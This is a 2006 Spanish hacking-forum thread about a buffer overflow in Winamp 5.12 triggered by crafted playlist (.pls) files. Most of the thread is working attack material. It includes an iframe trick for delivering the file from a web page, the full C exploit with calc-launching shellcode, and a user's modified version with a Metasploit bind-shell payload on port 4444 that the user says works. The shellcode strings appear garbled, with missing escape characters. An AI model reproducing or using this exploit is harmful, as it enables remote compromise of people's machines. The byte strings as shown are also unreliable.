elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
25 Mayo 2012, 22:16  


Tema destacado: ¡Aprende hacking con práctica! - WarZone, el wargame de elhacker.net

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Vulnerabilidad y exploit (POC) para el Winamp 5.12
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Vulnerabilidad y exploit (POC) para el Winamp 5.12  (Leído 2,388 veces)
Necro

Desconectado Desconectado

Mensajes: 287


]\/[37@|3r0


Ver Perfil WWW
Vulnerabilidad y exploit (POC) para el Winamp 5.12
« en: 30 Enero 2006, 23:04 »

Vulnerabilidad y exploit (POC) para el Winamp 5.12   

Se ha publicado un nuevo exploit para el Winamp, uno de los reproductores mas populares. El exploit utiliza una vulnerabilidad que afecta a la versión 5.12, la última a fecha de hoy, y prosiblemente a las anteriores.

La vulnerabilidad está causada por un Buffer Overflow explotable mediante los archivos de lista de reproducción (o playlist, con extensión .pls). Al abrir una lista de reprocucción especialmente modificada, el overflow causado en el Winamp permite la ejecución de comandos en el sistema.

Aunque la forma de explotarlo es en principio local, con lo cual su gravedad a simple vista puede parecer poca, el ataque puede realizarse remotamente (con intervención de la víctima), porque un atacante podría colgar el archivo .pls en una web y dirigir a su víctima hacia él mediante un link en una web, email, etc.

Código:
<html><body><iframe src="crafted.pls"></iframe></body></html>

Si la víctima utiliza el Internet Explorer, el archivo .pls se ejecutará automáticamente, comprometiendo el sistema. El Firefox abre un cuadro de diálogo para descargarlo o ejecutarlo.

Aunque el exploit publicado es una "prueba de concepto" y crea el archivo "crafted.pls" que al ser abierto con el Winamp simplemente abre la calculadora de Windows, puede ser modificado por un atacante para obtener uns shell remota en el sistema de la víctima.

Exploit: winamp_5.12_poc.rar
Demo: http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm

Actualización:
Según el foro de la web oficial del Winamp, ya han sacado un parche:

http://www.winamp.com/in_mp3.dll

Copia el archivo en la carpeta de plugins del Winamp
Según el foro, pronto saldrá la versión 5.13.

mas info: http://forums.winamp.com/showthread.php?threadid=236740

fuente: cyruxnet.org
Origen: www.milw0rm.com

A simple vista parece un problema grande pero si no afecta a todas las versiones anteriores creo q el bug no es tan importante.Yo estoy usando la version 5.08 y no es vulnerable. fijense ustedes. salu2
En línea


ANELKAOS
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.049


#include<nda.h>


Ver Perfil WWW
Re: Vulnerabilidad y exploit (POC) para el Winamp 5.12
« Respuesta #1 en: 31 Enero 2006, 01:31 »

Estoy de examenes pero no podia resistirlo  ;D

Código:
/*
* Winamp 5.12 Remote Buffer Overflow Universal Exploit [b](Zero-Day)[/b]
* Bug discovered & exploit coded [b]by ATmaCA[/b]
* Web: http://www.spyinstructors.com  && http://www.atmacasoft.com
* E-Mail: ATmaCA@icqmail.com
* Credit to Kozan
*/

/*
*
* Tested with :
* Winamp 5.12 on Win XP Pro Sp2
*
*/

/*
* Usage:
*
* Execute exploit, it will create "crafted.pls" in current directory.
* Duble click the file, or single click right and then select "open".
* And Winamp will launch a Calculator (calc.exe)
*
*/

/*
*
* For to use it remotly,
* make a html page containing an iframe linking to the .pls file.
*
* http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm
*
*/

#include <windows.h>
#include <stdio.h>

#define BUF_LEN         0x045D
#define PLAYLIST_FILE   "crafted.pls"

char szPlayListHeader1[] = "[playlist]
File1=\";
char szPlayListHeader2[] = "
Title1=~BOF~
Length1=FFF
NumberOfEntries=1
Version=2
";

// Jump to shellcode
char jumpcode[] = "x61xD9x02x02x83xECx34x83xECx70xFFxE4";

// Harmless Calc.exe
char shellcode[] =
        "x54x50x53x50x29xc9x83xe9xdexe8xffxffxffxffxc0x5ex81x76x0ex02"
        "xddx0ex4dx83xeexfcxe2xf4xfex35x4ax4dx02xddx85x08x3ex56x72x48"
"x7axdcxe1xc6x4dxc5x85x12x22xdcxe5x04x89xe9x85x4cxecxecxcexd4"
"xaex59xcex39x05x1cxc4x40x03x1fxe5xb9x39x89x2ax49x77x38x85x12"
"x26xdcxe5x2bx89xd1x45xc6x5dxc1x0fxa6x89xc1x85x4cxe9x54x52x69"
        "x06x1ex3fx8dx66x56x4ex7dx87x1dx76x41x89x9dx02xc6x72xc1xa3xc6"
"x6axd5xe5x44x89x5dxbex4dx02xddx85x25x3ex82x3fxbbx62x8bx87xb5"
"x81x1dx75x1dx6axa3xd6xafx71xb5x96xb3x88xd3x59xb2xe5xbex6fx21"
"x61xddx0ex4d";


int main(int argc,char *argv[])
{
        printf("
Winamp 5.12 Remote Buffer Overflow Universal Exploit");
        printf("
Bug discovered & exploit coded by ATmaCA");
        printf("
Web: http://www.spyinstructors.com  && http://www.atmacasoft.com");
        printf("
E-Mail: atmaca@icqmail.com");
        printf("
Credit to Kozan");

        FILE *File;
        char *pszBuffer;

        if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {
                printf("
 [Err:] fopen()");
                exit(1);
        }

        pszBuffer = (char*)malloc(BUF_LEN);
        memset(pszBuffer,0x90,BUF_LEN);
        memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
        memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
        memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
        memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);

        fwrite(pszBuffer, BUF_LEN, 1,File);
        fclose(File);

        printf("

"  PLAYLIST_FILE  " has been created in the current directory.
");
        return 1;
}

// milw0rm.com [2006-01-29]

Que tiempos aquellos en los que los 0day para este mismo programa salian de akí. Un saludo Rojodos donde kiera que estes  :)
« Última modificación: 31 Enero 2006, 01:33 por ANELKAOS » En línea

Ertai
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.026


Ralph Wiggum


Ver Perfil
Re: Vulnerabilidad y exploit (POC) para el Winamp 5.12
« Respuesta #2 en: 31 Enero 2006, 09:20 »

Si, me ha saltado la calculadora  :rolleyes:
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
Codename!!


Desconectado Desconectado

Mensajes: 881



Ver Perfil
Re: Vulnerabilidad y exploit (POC) para el Winamp 5.12
« Respuesta #3 en: 31 Enero 2006, 16:29 »

Esta wapo, y para la Shell  :D ?tendre que mirarmelo, no creo que me lo quieran decri por aqui XD
En línea

No te dejes mover por las masas, se tu mismo.




Isirius
Ex-Staff
*
Desconectado Desconectado

Mensajes: 2.492



Ver Perfil
Re: Vulnerabilidad y exploit (POC) para el Winamp 5.12
« Respuesta #4 en: 31 Enero 2006, 17:46 »

Si alguien consigue obtener una shell y quiere comentar como lo izxo estaria bien.
En línea
Victor-SB

Desconectado Desconectado

Mensajes: 32



Ver Perfil
Re: Vulnerabilidad y exploit (POC) para el Winamp 5.12
« Respuesta #5 en: 31 Enero 2006, 20:49 »

Yo utilizo la version 5.08 y no me afecta =/ solo pasa con la version 5.12?
En línea

BenRu
The Prodigy


Desconectado Desconectado

Mensajes: 4.004


Ver Perfil
Re: Vulnerabilidad y exploit (POC) para el Winamp 5.12
« Respuesta #6 en: 31 Enero 2006, 20:59 »

Una pregunta que no viene muy al caso pero...que paso con Rojodos?
En línea
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Vulnerabilidad y exploit (POC) para el Winamp 5.12
« Respuesta #7 en: 1 Febrero 2006, 07:38 »

Hola gente. Comento los resultados que obtuve analizando el exploit.
Bueno, depurando el winamp, pude descubrir con que valor se sobreescribe eip:
Código:
char jumpcode[] = "x61xD9x02x02"//eip
                  "x83xECx34x83xECx70xFFxE4";
/* 83ec34 = sub esp, 34
   83ec70 = sub esp, 70                 
   ffe4   = jmp esp*/
Ahi puse el comentario, ya que en el codigo original no dice nada de ello. Esa direccion va a un call esp que luego vuelve a esas lineas de codigo que desensamble. Ese salto va a parar al 3er byte de la shellcode, asi que agregando mi portbindshell(de metasploit en realidad :P) mas arriba y cambiando los opcodes de la shellcode vieja hice que saltara mas arriba en busca de la nueva. O sea:
Código:
// Harmless Calc.exe
char shellcode[] =
"x54x50"//se saltan estos bytes
"x33xC0x66xb8xf0x02x2bxe0x8bxc4xffxe4xECx70xFFxE4"
/*
   xor eax,eax
    mov ax,2f0h
    sub esp,eax                                     
    jmp esp ;salto a la shellcode nueva
*/

"x0ex02"
"xddx0ex4dx83xeexfcxe2xf4xfex35x4ax4dx02xddx85x08x3ex56x72x48"
"x7axdcxe1xc6x4dxc5x85x12x22xdcxe5x04x89xe9x85x4cxecxecxcexd4"
"xaex59xcex39x05x1cxc4x40x03x1fxe5xb9x39x89x2ax49x77x38x85x12"
"x26xdcxe5x2bx89xd1x45xc6x5dxc1x0fxa6x89xc1x85x4cxe9x54x52x69"
"x06x1ex3fx8dx66x56x4ex7dx87x1dx76x41x89x9dx02xc6x72xc1xa3xc6"
"x6axd5xe5x44x89x5dxbex4dx02xddx85x25x3ex82x3fxbbx62x8bx87xb5"
"x81x1dx75x1dx6axa3xd6xafx71xb5x96xb3x88xd3x59xb2xe5xbex6fx21"
"x61xddx0ex4d";
Los caracteres 0x96, 0x0A, 0x0D y por supuesto 0x00 no estan permitidos. Asi que busque una shellcode que se adapte a esas condiciones. Pego el code completo, esta probado y funciona:
Código:
/*
*
* Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day)
* Bug discovered & exploit coded by ATmaCA
* Web: http://www.spyinstructors.com && http://www.atmacasoft.com
* E-Mail: atmaca@icqmail.com
* Credit to Kozan
*
*/

/*
*
* Tested with :
* Winamp 5.12 on Win XP Pro Sp2
*
*/

/*
* Usage:
*
* Execute exploit, it will create "crafted.pls" in current directory.
* Duble click the file, or single click right and then select "open".
* And Winamp will launch a Calculator (calc.exe)
*
*/

/*
*
* For to use it remotly,
* make a html page containing an iframe linking to the .pls file.
*
* http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm
*
*/

#include <windows.h>
#include <stdio.h>

#define BUF_LEN 0x045D
#define PLAYLIST_FILE "crafted.pls"

char szPlayListHeader1[] = "[playlist]
File1=\\";
char szPlayListHeader2[] = "
Title1=~BOF~
Length1=FFF
NumberOfEntries=1
Version=2
";

// Jump to shellcode
char jumpcode[] = "x61xD9x02x02"//eip
                  "x83xECx34x83xECx70xFFxE4";
/* 83ec34 = sub esp, 34
   83ec70 = sub esp, 70                 
   ffe4   = jmp esp*/

/* win32_bind -  EXITFUNC=thread LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char shellcode2[] =
"x29xc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13xb3"
"x02x2fx7bx83xebxfcxe2xf4x4fx68xc4x36x5bxfbxd0x84"
"x4cx62xa4x17x97x26xa4x3ex8fx89x53x7excbx03xc0xf0"
"xfcx1axa4x24x93x03xc4x32x38x36xa4x7ax5dx33xefxe2"
"x1fx86xefx0fxb4xc3xe5x76xb2xc0xc4x8fx88x56x0bx53"
"xc6xe7xa4x24x97x03xc4x1dx38x0ex64xf0xecx1ex2ex90"
"xb0x2exa4xf2xdfx26x33x1ax70x33xf4x1fx38x41x1fxf0"
"xf3x0exa4x0bxafxafxa4x3bxbbx5cx47xf5xfdx0cxc3x2b"
"x4cxd4x49x28xd5x6ax1cx49xdbx75x5cx49xecx56xd0xab"
"xdbxc9xc2x87x88x52xd0xadxecx8bxcax1dx32xefx27x79"
"xe6x68x2dx84x63x6axf6x72x46xafx78x84x65x51x7cx28"
"xe0x51x6cx28xf0x51xd0xabxd5x6ax3ex27xd5x51xa6x9a"
"x26x6ax8bx61xc3xc5x78x84x65x68x3fx2axe6xfdxffx13"
"x17xafx01x92xe4xfdxf9x28xe6xfdxffx13x56x4bxa9x32"
"xe4xfdxf9x2bxe7x56x7ax84x63x91x47x9cxcaxc4x56x2c"
"x4cxd4x7ax84x63x64x45x1fxd5x6ax4cx16x3axe7x45x2b"
"xeax2bxe3xf2x54x68x6bxf2x51x33xefx88x19xfcx6dx56"
"x4dx40x03xe8x3ex78x17xd0x18xa9x47x09x4dxb1x39x84"
"xc6x46xd0xadxe8x55x7dx2axe2x53x45x7axe2x53x7ax2a"
"x4cxd2x47xd6x6ax07xe1x28x4cxd4x45x84x4cx35xd0xab"
"x38x55xd3xf8x77x66xd0xadxe1xfdxffx13x5cxccxcfx1b"
"xe0xfdxf9x84x63x02x2fx7b";

// Harmless Calc.exe
char shellcode[] =
"x54x50"
"x33xC0x66xb8xf0x02x2bxe0x8bxc4xffxe4xECx70xFFxE4"
/* xor eax,eax
    mov ax,1f0h
    sub esp,eax                                     
    jmp esp ;salto a la shellcode*/
"x0ex02"
"xddx0ex4dx83xeexfcxe2xf4xfex35x4ax4dx02xddx85x08x3ex56x72x48"
"x7axdcxe1xc6x4dxc5x85x12x22xdcxe5x04x89xe9x85x4cxecxecxcexd4"
"xaex59xcex39x05x1cxc4x40x03x1fxe5xb9x39x89x2ax49x77x38x85x12"
"x26xdcxe5x2bx89xd1x45xc6x5dxc1x0fxa6x89xc1x85x4cxe9x54x52x69"
"x06x1ex3fx8dx66x56x4ex7dx87x1dx76x41x89x9dx02xc6x72xc1xa3xc6"
"x6axd5xe5x44x89x5dxbex4dx02xddx85x25x3ex82x3fxbbx62x8bx87xb5"
"x81x1dx75x1dx6axa3xd6xafx71xb5x96xb3x88xd3x59xb2xe5xbex6fx21"
"x61xddx0ex4d";

int main(int argc,char *argv[])
{
printf("
Winamp 5.12 Remote Buffer Overflow Universal Exploit");
printf("
Bug discovered & exploit coded by ATmaCA");
printf("
Web: http://www.spyinstructors.com && http://www.atmacasoft.com");
printf("
E-Mail: atmaca@icqmail.com");
printf("
Credit to Kozan");

FILE *File;
char *pszBuffer;

if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {
printf("
 [Err:] fopen()");
exit(1);
}

pszBuffer = (char*)malloc(BUF_LEN);
memset(pszBuffer,0x90,BUF_LEN);
memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
memcpy(pszBuffer+0x0150,shellcode2,sizeof(shellcode2)-1);
memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);

fwrite(pszBuffer, BUF_LEN, 1,File);
fclose(File);

printf("

" PLAYLIST_FILE " has been created in the current directory.
");
return 1;
}
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
Necro

Desconectado Desconectado

Mensajes: 287


]\/[37@|3r0


Ver Perfil WWW
Re: Vulnerabilidad y exploit (POC) para el Winamp 5.12
« Respuesta #8 en: 1 Febrero 2006, 21:09 »

la shell no es problema, la copias de otro exploit, incluso hasta use una tool que te creaba la shellcode no me acuerdo como se llamaba.
Yo lo que queria era saber que versiones eran vulnerables, cyruxnet decian que la 5.12 y talvez anteriores, queria ver cual era la magnitud del exploit, porque conozco muy poca gente fanatica de las actualizaciones y el winamp no es un programa que se necesite actualizar seguido, conozco gente que usa versiones 2.x.x todavia. bue , salu2
En línea


Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Vulnerabilidad y exploit (POC) para el Winamp 5.12
« Respuesta #9 en: 2 Febrero 2006, 03:07 »

Citar
Si alguien consigue obtener una shell y quiere comentar como lo izxo estaria bien.
Yo simplemente trato de colaborar. Fue por esa propuesta de Isirius.
Citar
la shell no es problema
Pues como veras no es tan simple como copiar y pegar. El jmp tan corto que hace no te alcanza para meter una scode que devuelva shell. Hay que hacer algunos arreglos para que todo funcione correctamente, pero bueno seguro sabras hacerlos. Ademas, no es agarrar cualquier scode y meterla, prueba un poco y veras.
Yo lo probe en la version 5.12 y era vulnerable, pero en la 5.1 no pasaba nada. Parece ser que es cierto. No todas las versiones son vulnerables. Es un bug un poco particular.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
SeniorX


Desconectado Desconectado

Mensajes: 1.347


Programador Novato


Ver Perfil WWW
Re: Vulnerabilidad y exploit (POC) para el Winamp 5.12
« Respuesta #10 en: 2 Febrero 2006, 07:48 »

Actualización 31-01-2006:

1.-Nueva versión del exploit, ésta vez totalmente funcional y en forma de módulo para el "metasploit framework"

Download (web milw0rm) : winamp_playlist_unc.pm

2.-Publicada la versión parcheada del Winamp (5.13): http://www.winamp.com/player/free.php

Origen: www.milw0rm.com


Fuente: cyruxnet


Si alguien tiene ganas de explicar como usarlo se le agradeceria :P, usando metasploit se me hizo facil pero luego de hacer la conexion dice:
HTTP Client connected from 192.168.1.103:2657, redirecting....

y ahi se queda


Tengo una duda, mirando el exploit.pm creo haberlo leido facilmente, pero veo mis conocimientos limitados al ver esto:
Código:
pszBuffer = (char*)malloc(BUF_LEN);
        memset(pszBuffer,0x90,BUF_LEN);
        memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
        memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
        memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
        memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);
Buf_len esta definido arriba, pero si alguien me explica mas o menos que hace teoricamente se lo agradeceria :P.

Saludos!
Entiendo el funcionamiento de esa sección en parte pero si alguien se diera la molestia de explicar el memcpy, les agradeceria mucho.
« Última modificación: 2 Febrero 2006, 08:17 por SeniorX » En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
Ivanchuk


Desconectado Desconectado

Mensajes: 466


LLVM


Ver Perfil WWW
Re: Vulnerabilidad y exploit (POC) para el Winamp 5.12
« Respuesta #11 en: 3 Febrero 2006, 01:30 »

Ese codigo prepara el buffer para luego escribir en el archivo. memcpy copia de un area de memoria apuntada por shellcode(por ej.) a otra area de memoria apuntada por pszBuffer.
Pero claro bajemonos el "frameworkless" de metasploit y listo  >:(. Digo, en cierto sentido es como pasar de un lenguaje a otro, pero su facilidad de manejo es algo contraproducente para algunos. No estimula la investigacion. Creo que se deberian hacer tutoriales de como programar sobre ese entorno. Es producente en el sentido que hace el trabajo del exploiter mucho mas facil, o sea para el que sabe es una herramienta muy versatil. En fin, de la programacion no escapa nadie.
En línea

Sólo quien practica lo absurdo puede lograr lo imposible.

Join us @ http://foro.h-sec.org
sirdarckcat
Troll Buena Onda y
CoAdmin
***
Desconectado Desconectado

Mensajes: 6.947


Lavando Platos


Ver Perfil WWW
Re: Vulnerabilidad y exploit (POC) para el Winamp 5.12
« Respuesta #12 en: 3 Febrero 2006, 19:20 »

No puedo prohibir en internet la existencia de este programa xD pero bueno.. si solo se pone el exploit.. esta mal..pero si alguien llega y nos enseña un exploit con esta plataforma, pues.. como dices, es un lenguaje mas... aqui al menos hicieron la pregunta de que hacia ese segmento de código.

No me gusta en lo personal este paltaforma de metasploit.. no la he bajado, y no la bajare.. en fin..

Slaudos!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines